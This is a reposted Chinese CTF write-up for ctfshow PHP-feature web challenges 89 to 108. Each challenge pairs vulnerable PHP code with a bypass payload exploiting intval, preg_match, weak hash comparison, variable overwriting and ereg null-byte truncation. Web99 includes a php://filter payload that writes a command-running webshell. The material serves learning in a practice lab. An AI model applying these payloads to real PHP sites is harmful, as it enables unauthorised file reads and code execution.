ctfshow之Web入門 PHP特性 89--不定時


Web89

include("flag.php"); 
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

//這里主要是對數字進行了過濾,並且又要GET請求傳入的num變量為數字或數字串,關於preg_match()函數一個漏洞——>無法處理數組
Paylaod:?num[]=10

Web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
 
//強比較+intval函數
Payload:?num=4476a(任意字母)

Web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
 
//這里有有兩個條件,第一個需要是php,第二個又不可以php,不過有個差距就是m模式,/m代表匹配多行數據,這里可以通過%0a進行繞過
Payload:?cmd=%0aphp

Web92

 

1  Payload:?num=0x117c 十六進制
2. 也可以:?num=010574 八進制
//這里不能是4476,但是又要是4476,intval可以識別十六進制和八進制

    如果 base 是 0,通過檢測 var 的格式來決定使用的進制:

  • 如果字符串包括了 "0x" (或 "0X") 的前綴,使用 16 進制 (hex);否則,
  • 如果字符串以 "0" 開始,使用 8 進制(octal);否則,
  • 將使用 10 進制 (decimal)
  • 返回值

    成功時返回 var 的 integer 值,失敗時返回 0。 空的 array 返回 0,非空的 array 返回 1。

    最大的值取決於操作系統。 32 位系統最大帶符號的 integer 范圍是 -2147483648 到 2147483647。舉例,在這樣的系統上, intval('1000000000000') 會返回 2147483647。64 位系統上,最大帶符號的 integer 值是 9223372036854775807。

    字符串有可能返回 0,雖然取決於字符串最左側的字符。

Web93

 

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
 
//ban掉了字母,但是可以用八進制繞過
Payload:?num=010574

 

Web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

//不能以0開頭了,這時候可以試試小數,intval只識別整數部分
Payload:?num=4476.0001

Web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

//弱比較不可以是4476,然后是傳入參數不可以存在大小寫的26個字母和“.”,接着是不可以以0開頭,最后結束匹配時需要4476,一開始的若比較,這里可以用010574(4476的八進制)繞過,直接到了strpos函數這里,這里不能以0開頭,去看了看intval函數的發現最開頭可以如果是+還是可以識別為原數
Payload:?num=+010574


Web96

highlight_file(__FILE__); 
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}
<?ph
//1
?u=./flag.php
 
         
Web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 
//簡單的md5碰撞
Payload:
POST:a[]=1&b[]=2
Web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
 
//考點:變量覆蓋、三元運算符、&在php中的引用作用
//一開始不知道是什么意思,問了一下大師傅,他跟我說了一下三元運算符以及&的作用
//解釋一下
//第一句的意思是如果存在GET請求則引用POST請求的內容
//接下來兩句好像沒啥用,不過為了保險,還是直接還是把flag=xx
//最關鍵的就是HTTP_FALG=flag,這樣才就能回顯flag了
//嘗試了一下發現第一句存在變量覆蓋的效果,所以GET請求不管給什么東西都會被POST請求覆蓋掉
Payload:GET:?xxx  POST:flag=xx&HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=0; $i < 0x36d; $i++) { 
    array_push($allow, rand(0,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>
//array_push()函數向allow數組的尾部添加一個元素,該元素由rand()函數返回一個隨機數
//傳入的參數中要有allow數組中的數字,然后是一個文件包含
//文件包含可以用php://filter偽協議,可以使用base64或者rot13,這樣包含了數字
Payload:?n=php://filter/write=string%.rot13/resource=sh.php  POST:content=<?cuc flfgrz("gnp *.cuc");?>

Web104

<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Dat:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>
//由題可知,只需要v1的sha1的值等於v2的sha1值,即可獲得flag
//百度查一下sha1碰撞
//這里是弱比較,所以作用就是sha1后為'0e'開頭
Payload:
GET:?v2=aaroZmOk
POST:v1=aaK1STfY

 Web105

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你還想要flag嘛?';
$suces='既然你想要那給你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
 
//一道變量覆蓋的題目,由$$key=$$value確定,意思就是$key的內容作為變量,例如:$key=xx,$$key=$xx
//GET請求的時候不能出現error,但是這里給了另外一個變量$suces,我們可以將$flag值賦給$suces
//POST請求的時候不能出現flag,但是我們第一步已經把值賦給$suces了,所以這里不用出現$flag,只需要$suces把值賦給$error
//最后再判斷flag是否等於$flag,讓flag!=$flag,輸出$error即可
Payload:
GET:?suces=flag
POST:error=suces
Web106
 
         
highlight_file(__FILE__);
include("flag.php");
 
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>
 
//需要sha1碰撞

Payload: GET:?v2=aaroZmOk POST:v1=aaK1STfY
Web107
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
 
if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
 
}
?>
 
//這里有個parse_str()的函數,百度了一下語法
//parse_str(string,array) 函數在string中查詢字符串解析到array數組變量中
//后面的那個md5就簡單了
Payload:
GET:?v3=37(任意數)
POST:v1=flag=a5bfc9e07964f8dddeb95fc584cd965d(md5轉32)

Web108

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55
 
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
 
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>
 
//ereg函數存在一個明顯的漏洞:%00截斷
//strrev反轉字符串
Payload:?c=xx%00778
 
         

 


 參考:

 

PHP intval() 函數

https://www.php.net/manual/zh/book.spl.php

https://www.cnblogs.com/erR0Ratao/p/13693066.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM